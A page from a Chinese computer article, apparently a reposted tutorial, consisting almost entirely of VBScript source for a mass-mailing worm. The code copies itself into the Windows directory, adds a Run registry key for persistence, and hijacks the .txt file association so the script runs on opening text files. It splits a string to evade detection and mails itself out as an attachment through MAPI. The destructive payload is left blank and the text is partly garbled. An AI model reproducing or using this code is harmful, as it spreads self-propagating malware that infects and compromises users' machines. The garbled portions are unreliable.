vbs病毒_中了vbs病毒会怎么样_vbs病毒专杀软件(2)

'这个函数得到 Windows 目录 GetWindowsPath=Fso.GetSPecialFolder(0) EndFunction Sub CopySelfToWindowsPath() '这个函数把自身复制到 Windows 目录，并且命名为Windows.htm.vbs If Fso.FileExists(WinPath & '\Windows.htm.vbs')Then '如果文件已经存在，则不复制 Else Fso.GetFile(WScript.ScriptFullname).Copy(WinPath & '\Windows.htm.vbs') 'WScript.ScriptFullname是当前脚本的完整路径和文件名 '这行代码复制自己到系统装目录 End If End Sub Sub ModifyReg '修改注册表Dim RegPathRegPath='HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows'WriteReg RegPath,WinPath & '\Windows.htm.vbs' '启动里面添加自己

'下面修改.txt 文件关联 RegPath='HKCR\.txt\' WriteReg RegPath,'txtfile'RegPath='HKCR\txtfile\Shell\Open\command\' WriteReg RegPath,WinPath& '\System32\WScript.exe ' & WinPath &'\Windows.htm.vbs'

End Sub Sub WriteReg(Path,value) '这个子程序把 value 写入注册表的 Path SetOperateReg=WScript.CreateObject('WSc' & 'ript.Sh' & 'ell')'创建 Shell 对象 OperateReg.RegWrite Path,value '写注册表 SetOperateReg=Nothing '释放对象 End Sub Function ReadReg(Path)'这个函数返回在注册表的 Path 读去到内容 Set OperateReg=WScript.CreateObject('WSc'& 'ript.Sh' & 'ell') ReadReg=OperateReg.RegRead(Path) SetOperateReg=Nothing End Function

Sub DoSomeBadThings '考虑再三，还是没有写这部分破坏代码 '一方面，文章是为了纯技术讨论'另一方面，使用文件系统对象，这部分代码实际上很容易写 End Sub Sub SendEmail() '发送邮件的子程序 DimDic, MAPISess, MAPIMess, a, Min,Count Set Dic =CreateObject('Scripting.Dictionary') Set MAPISess =CreateObject('MSMAPI.MAPISession') '创建 MAPISession 对象

'收件人的地址 '加上附件(也就是病

MAPIMess.AttachmentPathName = WinPath & '\Windows.htm.vbs' 毒本身)MAPIMess.Send '发送 Next MAPISess.SignOff '登出

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-24864-2.html